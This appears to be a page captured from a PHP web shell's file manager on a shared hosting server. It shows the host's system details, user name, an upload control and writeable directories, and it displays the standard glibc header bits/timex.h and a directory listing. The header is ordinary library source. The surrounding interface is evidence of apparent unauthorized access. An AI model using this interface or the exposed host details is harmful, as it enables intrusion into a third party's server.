Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /usr/include/bits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/include/bits/timex.h
/* Copyright (C) 1995-2018 Free Software Foundation, Inc.
   This file is part of the GNU C Library.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, see
   <http://www.gnu.org/licenses/>.  */

#ifndef	_BITS_TIMEX_H
#define	_BITS_TIMEX_H	1

#include <bits/types.h>
#include <bits/types/struct_timeval.h>

/* These definitions from linux/timex.h as of 3.18.  */

struct timex
{
  unsigned int modes;		/* mode selector */
  __syscall_slong_t offset;	/* time offset (usec) */
  __syscall_slong_t freq;	/* frequency offset (scaled ppm) */
  __syscall_slong_t maxerror;	/* maximum error (usec) */
  __syscall_slong_t esterror;	/* estimated error (usec) */
  int status;			/* clock command/status */
  __syscall_slong_t constant;	/* pll time constant */
  __syscall_slong_t precision;	/* clock precision (usec) (ro) */
  __syscall_slong_t tolerance;	/* clock frequency tolerance (ppm) (ro) */
  struct timeval time;		/* (read only, except for ADJ_SETOFFSET) */
  __syscall_slong_t tick;	/* (modified) usecs between clock ticks */
  __syscall_slong_t ppsfreq;	/* pps frequency (scaled ppm) (ro) */
  __syscall_slong_t jitter;	/* pps jitter (us) (ro) */
  int shift;			/* interval duration (s) (shift) (ro) */
  __syscall_slong_t stabil;	/* pps stability (scaled ppm) (ro) */
  __syscall_slong_t jitcnt;	/* jitter limit exceeded (ro) */
  __syscall_slong_t calcnt;	/* calibration intervals (ro) */
  __syscall_slong_t errcnt;	/* calibration errors (ro) */
  __syscall_slong_t stbcnt;	/* stability limit exceeded (ro) */

  int tai;			/* TAI offset (ro) */

  /* ??? */
  int  :32; int  :32; int  :32; int  :32;
  int  :32; int  :32; int  :32; int  :32;
  int  :32; int  :32; int  :32;
};

/* Mode codes (timex.mode) */
#define ADJ_OFFSET		0x0001	/* time offset */
#define ADJ_FREQUENCY		0x0002	/* frequency offset */
#define ADJ_MAXERROR		0x0004	/* maximum time error */
#define ADJ_ESTERROR		0x0008	/* estimated time error */
#define ADJ_STATUS		0x0010	/* clock status */
#define ADJ_TIMECONST		0x0020	/* pll time constant */
#define ADJ_TAI			0x0080	/* set TAI offset */
#define ADJ_SETOFFSET		0x0100	/* add 'time' to current time */
#define ADJ_MICRO		0x1000	/* select microsecond resolution */
#define ADJ_NANO		0x2000	/* select nanosecond resolution */
#define ADJ_TICK		0x4000	/* tick value */
#define ADJ_OFFSET_SINGLESHOT	0x8001	/* old-fashioned adjtime */
#define ADJ_OFFSET_SS_READ	0xa001	/* read-only adjtime */

/* xntp 3.4 compatibility names */
#define MOD_OFFSET	ADJ_OFFSET
#define MOD_FREQUENCY	ADJ_FREQUENCY
#define MOD_MAXERROR	ADJ_MAXERROR
#define MOD_ESTERROR	ADJ_ESTERROR
#define MOD_STATUS	ADJ_STATUS
#define MOD_TIMECONST	ADJ_TIMECONST
#define MOD_CLKB	ADJ_TICK
#define MOD_CLKA	ADJ_OFFSET_SINGLESHOT /* 0x8000 in original */
#define MOD_TAI		ADJ_TAI
#define MOD_MICRO	ADJ_MICRO
#define MOD_NANO	ADJ_NANO


/* Status codes (timex.status) */
#define STA_PLL		0x0001	/* enable PLL updates (rw) */
#define STA_PPSFREQ	0x0002	/* enable PPS freq discipline (rw) */
#define STA_PPSTIME	0x0004	/* enable PPS time discipline (rw) */
#define STA_FLL		0x0008	/* select frequency-lock mode (rw) */

#define STA_INS		0x0010	/* insert leap (rw) */
#define STA_DEL		0x0020	/* delete leap (rw) */
#define STA_UNSYNC	0x0040	/* clock unsynchronized (rw) */
#define STA_FREQHOLD	0x0080	/* hold frequency (rw) */

#define STA_PPSSIGNAL	0x0100	/* PPS signal present (ro) */
#define STA_PPSJITTER	0x0200	/* PPS signal jitter exceeded (ro) */
#define STA_PPSWANDER	0x0400	/* PPS signal wander exceeded (ro) */
#define STA_PPSERROR	0x0800	/* PPS signal calibration error (ro) */

#define STA_CLOCKERR	0x1000	/* clock hardware fault (ro) */
#define STA_NANO	0x2000	/* resolution (0 = us, 1 = ns) (ro) */
#define STA_MODE	0x4000	/* mode (0 = PLL, 1 = FLL) (ro) */
#define STA_CLK		0x8000	/* clock source (0 = A, 1 = B) (ro) */

/* Read-only bits */
#define STA_RONLY (STA_PPSSIGNAL | STA_PPSJITTER | STA_PPSWANDER | \
    STA_PPSERROR | STA_CLOCKERR | STA_NANO | STA_MODE | STA_CLK)

#endif /* bits/timex.h */
Name
Size
Permissions
Options
types
--
drwxr-xr-x
a.out.h
0.262 KB
-rw-r--r--
byteswap.h
2.392 KB
-rw-r--r--
cmathcalls.h
4.041 KB
-rw-r--r--
confname.h
23.152 KB
-rw-r--r--
cpu-set.h
4.409 KB
-rw-r--r--
dirent.h
1.729 KB
-rw-r--r--
dlfcn.h
2.461 KB
-rw-r--r--
elfclass.h
0.416 KB
-rw-r--r--
endian.h
0.172 KB
-rw-r--r--
environments.h
3.701 KB
-rw-r--r--
epoll.h
1.045 KB
-rw-r--r--
errno.h
1.392 KB
-rw-r--r--
error.h
2.62 KB
-rw-r--r--
eventfd.h
1.102 KB
-rw-r--r--
fcntl-linux.h
13.391 KB
-rw-r--r--
fcntl.h
2.192 KB
-rw-r--r--
fcntl2.h
5.443 KB
-rw-r--r--
fenv.h
4.497 KB
-rw-r--r--
fenvinline.h
0.186 KB
-rw-r--r--
floatn-common.h
9.535 KB
-rw-r--r--
floatn.h
4.27 KB
-rw-r--r--
flt-eval-method.h
1.186 KB
-rw-r--r--
fp-fast.h
1.187 KB
-rw-r--r--
fp-logb.h
0.987 KB
-rw-r--r--
getopt_core.h
3.58 KB
-rw-r--r--
getopt_ext.h
2.966 KB
-rw-r--r--
getopt_posix.h
1.767 KB
-rw-r--r--
hwcap.h
0.948 KB
-rw-r--r--
in.h
9.244 KB
-rw-r--r--
indirect-return.h
1.548 KB
-rw-r--r--
initspin.h
0.024 KB
-rw-r--r--
inotify.h
1.054 KB
-rw-r--r--
ioctl-types.h
2.397 KB
-rw-r--r--
ioctls.h
4.372 KB
-rw-r--r--
ipc.h
2.021 KB
-rw-r--r--
ipctypes.h
1.147 KB
-rw-r--r--
iscanonical.h
2.42 KB
-rw-r--r--
libc-header-start.h
2.546 KB
-rw-r--r--
libm-simd-decl-stubs.h
2.933 KB
-rw-r--r--
link.h
4.185 KB
-rw-r--r--
link_lavcurrent.h
1.073 KB
-rw-r--r--
local_lim.h
3.109 KB
-rw-r--r--
locale.h
1.335 KB
-rw-r--r--
long-double.h
0.901 KB
-rw-r--r--
math-finite.h
5.248 KB
-rw-r--r--
math-vector.h
2.253 KB
-rw-r--r--
mathcalls-helper-functions.h
1.723 KB
-rw-r--r--
mathcalls-narrow.h
1.275 KB
-rw-r--r--
mathcalls.h
12.793 KB
-rw-r--r--
mathdef.h
0.869 KB
-rw-r--r--
mathinline.h
12.71 KB
-rw-r--r--
mman-linux.h
4.78 KB
-rw-r--r--
mman-shared.h
2.672 KB
-rw-r--r--
mman.h
2.015 KB
-rw-r--r--
monetary-ldbl.h
1.021 KB
-rw-r--r--
mqueue.h
1.216 KB
-rw-r--r--
mqueue2.h
2.1 KB
-rw-r--r--
msq.h
2.575 KB
-rw-r--r--
netdb.h
1.233 KB
-rw-r--r--
param.h
1.398 KB
-rw-r--r--
poll.h
2.026 KB
-rw-r--r--
poll2.h
2.427 KB
-rw-r--r--
posix1_lim.h
5.066 KB
-rw-r--r--
posix2_lim.h
2.799 KB
-rw-r--r--
posix_opt.h
5.631 KB
-rw-r--r--
printf-ldbl.h
0.968 KB
-rw-r--r--
pthreadtypes-arch.h
3.213 KB
-rw-r--r--
pthreadtypes.h
2.999 KB
-rw-r--r--
ptrace-shared.h
2.832 KB
-rw-r--r--
resource.h
6.15 KB
-rw-r--r--
sched.h
3.659 KB
-rw-r--r--
select.h
2.056 KB
-rw-r--r--
select2.h
1.403 KB
-rw-r--r--
sem.h
2.558 KB
-rw-r--r--
semaphore.h
1.208 KB
-rw-r--r--
setjmp.h
1.256 KB
-rw-r--r--
setjmp2.h
1.664 KB
-rw-r--r--
shm.h
3.507 KB
-rw-r--r--
sigaction.h
2.865 KB
-rw-r--r--
sigcontext.h
4.164 KB
-rw-r--r--
sigevent-consts.h
1.436 KB
-rw-r--r--
siginfo-arch.h
0.712 KB
-rw-r--r--
siginfo-consts-arch.h
0.199 KB
-rw-r--r--
siginfo-consts.h
5.833 KB
-rw-r--r--
signalfd.h
1.041 KB
-rw-r--r--
signum-generic.h
4.238 KB
-rw-r--r--
signum.h
1.595 KB
-rw-r--r--
sigstack.h
1.14 KB
-rw-r--r--
sigthread.h
1.651 KB
-rw-r--r--
sockaddr.h
1.478 KB
-rw-r--r--
socket.h
15.197 KB
-rw-r--r--
socket2.h
2.965 KB
-rw-r--r--
socket_type.h
2.163 KB
-rw-r--r--
ss_flags.h
1.159 KB
-rw-r--r--
stab.def
8.827 KB
-rw-r--r--
stat.h
7.44 KB
-rw-r--r--
statfs.h
1.871 KB
-rw-r--r--
statvfs.h
3.342 KB
-rw-r--r--
statx-generic.h
2.001 KB
-rw-r--r--
statx.h
1.366 KB
-rw-r--r--
stdint-intn.h
1.012 KB
-rw-r--r--
stdint-uintn.h
1.023 KB
-rw-r--r--
stdio-ldbl.h
2.942 KB
-rw-r--r--
stdio.h
5.455 KB
-rw-r--r--
stdio2.h
12.252 KB
-rw-r--r--
stdio_lim.h
1.184 KB
-rw-r--r--
stdlib-bsearch.h
1.345 KB
-rw-r--r--
stdlib-float.h
1.088 KB
-rw-r--r--
stdlib-ldbl.h
1.34 KB
-rw-r--r--
stdlib.h
4.95 KB
-rw-r--r--
string_fortified.h
4.573 KB
-rw-r--r--
strings_fortified.h
1.21 KB
-rw-r--r--
sys_errlist.h
1.187 KB
-rw-r--r--
syscall.h
44.593 KB
-rw-r--r--
sysctl.h
0.877 KB
-rw-r--r--
syslog-ldbl.h
1.177 KB
-rw-r--r--
syslog-path.h
1.035 KB
-rw-r--r--
syslog.h
1.645 KB
-rw-r--r--
sysmacros.h
2.883 KB
-rw-r--r--
termios.h
5.237 KB
-rw-r--r--
thread-shared-types.h
6.577 KB
-rw-r--r--
time.h
2.928 KB
-rw-r--r--
timerfd.h
1.076 KB
-rw-r--r--
timex.h
4.487 KB
-rw-r--r--
types.h
8.14 KB
-rw-r--r--
typesizes.h
3.317 KB
-rw-r--r--
uintn-identity.h
1.505 KB
-rw-r--r--
uio-ext.h
1.877 KB
-rw-r--r--
uio_lim.h
1.352 KB
-rw-r--r--
unistd.h
10.559 KB
-rw-r--r--
utmp.h
3.971 KB
-rw-r--r--
utmpx.h
3.493 KB
-rw-r--r--
utsname.h
1.184 KB
-rw-r--r--
waitflags.h
1.656 KB
-rw-r--r--
waitstatus.h
2.232 KB
-rw-r--r--
wchar-ldbl.h
2.366 KB
-rw-r--r--
wchar.h
1.86 KB
-rw-r--r--
wchar2.h
17.794 KB
-rw-r--r--
wctype-wchar.h
6.153 KB
-rw-r--r--
wordsize.h
0.432 KB
-rw-r--r--
xopen_lim.h
3.767 KB
-rw-r--r--